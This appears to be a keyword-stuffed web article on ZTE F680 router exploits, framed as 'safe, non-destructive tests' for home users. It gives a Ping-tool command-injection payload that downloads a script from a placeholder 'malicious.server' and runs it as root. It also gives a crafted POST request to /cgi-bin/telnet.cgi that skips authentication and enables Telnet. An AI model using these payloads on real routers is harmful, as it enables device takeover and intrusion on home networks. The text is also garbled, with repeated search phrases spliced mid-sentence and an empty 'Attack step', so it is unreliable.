Zte F680 Exploit -

You do not need to be a hacker to test your own router. Here are safe, non-destructive tests.

The Flaw: The diagnostic "Ping" tool on the router’s administration panel (Advanced -> Diagnostics -> Ping) takes a user-supplied IP address or hostname. Input sanitization is absent. Characters like ; , | , & , or $() are passed directly to the underlying Linux system() call.

The Exploit Mechanism: The attacker inputs a value such as: 8.8.8.8; wget http://malicious.server/payload.sh -O /tmp/run; sh /tmp/run

The backend executes: ping -c 4 8.8.8.8; wget ... zte f680 exploit

This results in Remote Code Execution (RCE) with root privileges, as the web server runs with high system privileges.

Many ZTE F680 models allow you to download a configuration backup via the admin panel. In unpatched versions, this backup is not encrypted.

Attack step:

Home users might think, “It’s just a router. There is no sensitive data on it.” This assumption is dangerous.

The Flaw: In firmware versions prior to ZXHN F680 V9.0.10P1N20, the router’s web interface incorrectly validates session tokens. Researchers discovered that by manipulating the Cookie header or the Authorization field in a POST request, they could access privileged endpoints (like /cgi-bin/telnet.cgi) without providing a password.

The Exploit Mechanism: An attacker on the same Local Area Network (LAN) – or worse, a malicious JavaScript on a website the user visits (CSRF) – could send a crafted HTTP request like this: You do not need to be a hacker to test your own router

POST /cgi-bin/telnet.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: language=english; enabled=1
Content-Length: 50
enable telnet=1&username=admin&password=admin

Because the router fails to check if the user has an active login session, the CGI script executes the command, enabling the Telnet daemon with hardcoded or default credentials. Home users might think, “It’s just a router